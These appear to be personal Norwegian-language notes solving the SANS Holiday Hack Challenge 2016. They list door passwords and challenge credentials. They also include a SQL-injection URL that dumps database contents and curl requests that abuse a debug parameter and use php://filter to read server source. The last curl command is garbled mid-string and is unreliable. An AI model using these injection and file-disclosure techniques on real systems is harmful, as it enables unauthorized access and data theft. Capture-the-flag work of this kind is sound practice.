  4. discombobulatedaudio1.mp3

  5. yummycookies

first door) part1) santasli part2) ttlehelper - brukte sudo -u itchy strings /out.pcap, passordet ligger øverst i filen second door) open_sesame - print alle directories rekursivt så man ser hvor man skal. bruk så cd med \ for å finne fram third door) WUMPUS IS MISUNDERSTOOD - skyt pil inn i rommet når man lukter wumpusen fourth) 24fb3e89ce2aa0ea422c3d511d40dd84 - bruk less i help-siden til å kjøre ls og finne passordet i kodefilene fourth door (Sants office)) spill ihht dialogen fra filmen war games siste dør i gangen) passordet fra lydfilene

analytics.northpolewonderland.com 104.198.252.157 brukernavn og pass er guest / busyreindeer87 fra apk hentet ut audio2 fra nettside ved bruk av query del2 admin skal visst gi tilgang til noe mer? last ned .git repo og se på changelog i refs/heads/master. bruk git log til å se på commit messages, fant administrator med passord der. bruk edit funksjonen til å manipulere databasen for å hente ut audio. lag et query, edit det, se på kommandoen som lekker ut, se i edit.php og query.php at man kan skrive inn query i adressefeltet for å manipulere databasen. (sql injection ish) https://analytics.northpolewonderland.com/edit.php?id=61f9ec9b-6192-463b-aee5-5a0983362dff&name=Name_Field&description=Description_Field&query=show tables;, for å vise tabellen select * from audio; select filename, to_base64(mp3) from audio; kjørte base64 gjennom en online converter for å få ut mp3

ads.northpolewonderland.com 104.198.221.240 https://pen-testing.sans.org/blog/2016/12/06/mining-meteor mine javascript med meteor-scriptet til man finner noe audio-relatert trykk routes admin/quotes homequotes hadde en hidden array object med "audio"

dev.northpolewonderland.com 35.184.63.245 https://ncsa.github.io/sans-holiday-hack-2016/#org6a9d097 kjøre en curl for å få json-reponsen curl -s -H "Content-Type: application/json" -d '{"date": "20170101010101-0800", "udid": "11111111", "debug": "com.northpolewonderland.santagram.EditProfile, EditProfile", "freemem": "10200", "verbose": true}' http://dev.northpolewonderland.com/index.php | python -mjson.tool | grep mp3

dungeon.northpolewonderland.com 35.184.47.139 online game - netcat ip port for å spille skal være et hemmelig rom med en elf kan bruke ltrace til å inspisere hva som skjer last ned cdungeon.decode.c og en versjon av dtextc.dat. dekompiler disse filene og kjør diff for å se på forskjellen. fant linje 1024 som jeg kjørte i GDT> DT, entry: 1024 og fik kda ut en epost som ga meg lydfilen.

ex.northpolewonderland.com 104.154.196.33 må skrive og lese crashdumps via php og base64 encode filter. tror man skal skrive noen form for exploit som returnerer noe nyttig. masse hint i apken curl -X POST -H "Content-Type:application/json" -d '{"operation":"ReadCrashDump","data":{"crashdump":"crashdump-joO6X2"}}' http://ex.northpolewonderland.com/exception.php?page=php://filter/base64-encode/resource=exception kanskje man kan skrive print exception og få ut fil

curl -X POST -H "Content-Type:applicadCrashDump","data":{"crashdump":"php://filter/convert.base64-encode/resource=exception"}}' http://ex.northpolewonderland.com/exception.php | base64 -d works
